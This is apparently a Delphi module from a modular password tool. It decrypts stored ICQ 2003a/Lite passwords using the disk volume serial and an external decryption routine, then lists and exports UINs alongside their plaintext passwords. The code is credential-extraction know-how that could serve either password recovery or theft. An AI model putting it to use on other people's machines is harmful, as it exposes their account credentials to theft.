unit Mod_ICQ2003;

interface

uses
  Windows, Mod_Common, Classes, ComCtrls, SysUtils, xBase;

type
  P2003UINItem = ^T2003UINItem;
  T2003UINItem = record
    UIN: String;
    Password: String;
  end;

  TModuleICQ2003 = class(TModule)
  private
    procedure FreeUINList;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;        
  public
    UINList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;        
  end;

implementation

const
  TYPE_ICQ_2003_SERIAL	  = 0;
  TYPE_ICQ_2003_UIN	  = 1;
  SUBTYPE_ICQ_2003_STR	  = 0;
  SUBTYPE_ICQ_2003_DATA	  = 1;

procedure DecryptPass(dwVolumeSerial: LongWord; lpMainLocation: Pointer; dwMainLocationLen: LongWord; lpszUIN: PChar); stdcall; external;
{$L ICQ2003Decrypt.obj}

{ TModuleICQ2003 }

destructor TModuleICQ2003.Destroy;
begin
  FreeUINList;
  inherited;
end;

procedure TModuleICQ2003.FreeUINList;
var
  i: Integer;
begin
  if UINList = nil then Exit;
  for i := 0 to UINList.Count-1 do begin
    P2003UINItem(UINList.Items[i]).UIN := '';
    P2003UINItem(UINList.Items[i]).Password := '';
    Dispose(UINList.Items[i]);
  end;
  UINList.Free;
end;

procedure TModuleICQ2003.Run;
var
  DataItem: TDataItem;
  P: P2003UINItem;
  HDDSerial: LongWord;
begin
  inherited;

  UINList := TList.Create;

  P := nil; HDDSerial := 0;
  while HasMoreData do begin
    DataItem := ReadData;

    case DataItem.cType of
      TYPE_ICQ_2003_SERIAL:
        HDDSerial := PLongWord(@DataItem.Data[1])^;
      TYPE_ICQ_2003_UIN:
        case DataItem.cSubtype of
          SUBTYPE_ICQ_2003_STR: begin
            New(P); P.UIN := DataItem.Data;
            UINList.Add(P);
          end;
          SUBTYPE_ICQ_2003_DATA: if P <> nil then begin
            if (DataItem.cbData > 0) and (IsICQUIN(P.UIN)) then begin
              DecryptPass(HDDSerial, @DataItem.Data[1], DataItem.cbData, PChar(P.UIN));
              P.Password := PChar(@DataItem.Data[1]);
            end;
          end;
        else begin
            FError := ERR_UNK_ITEM;
            Exit;
          end;
        end;
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

class function TModuleICQ2003.GetModuleName: String;
begin
  Result := 'ICQ2003';
end;

function TModuleICQ2003.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  for i := 0 to UINList.Count-1 do begin
    Result := Result + 'UIN: ' + P2003UINItem(UINList.Items[i]).UIN + #13#10;
    Result := Result + 'Password: ' + P2003UINItem(UINList.Items[i]).Password + #13#10;
    Result := Result + #13#10;
  end;
end;

procedure TModuleICQ2003.GetAsTree;
var
  i: Integer;
begin
  inherited;

  Append(ModuleName, 'Этот модуль содержит пароли ICQ версий 2003a и Lite', ICON_FOLDER);
  MoveIn;
  for i := 0 to UINList.Count-1 do
    Append(P2003UINItem(UINList.Items[i]).UIN, GenHTMLList(['UIN: ' + P2003UINItem(UINList.Items[i]).UIN, 'Password: ' + P2003UINItem(UINList.Items[i]).Password + ' (hex: ' + PassToHex(P2003UINItem(UINList.Items[i]).Password) + ')']), ICON_ICQ);
  MoveOut;
end;

class function TModuleICQ2003.GetModuleID: Integer;
begin
  Result := MODULE_ICQ_2003;
end;

class function TModuleICQ2003.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleICQ2003.GetIsEmpty: Boolean;
begin
  Result := UINList.Count = 0;
end;

procedure TModuleICQ2003.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([UINList.Count]);
  for i := 0 to UINList.Count-1 do
    with P2003UINItem(UINList.Items[i])^ do
      ExportData([UIN, Password]);
end;

procedure TModuleICQ2003.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P: P2003UINItem;
begin
  inherited;

  UINList := TList.Create;
    
  for i := 0 to ImportData-1 do begin
    New(P); UINList.Add(P);
    with P^ do begin
      UIN := ImportData;
      Password := ImportData;
    end;
  end;
end;

end.
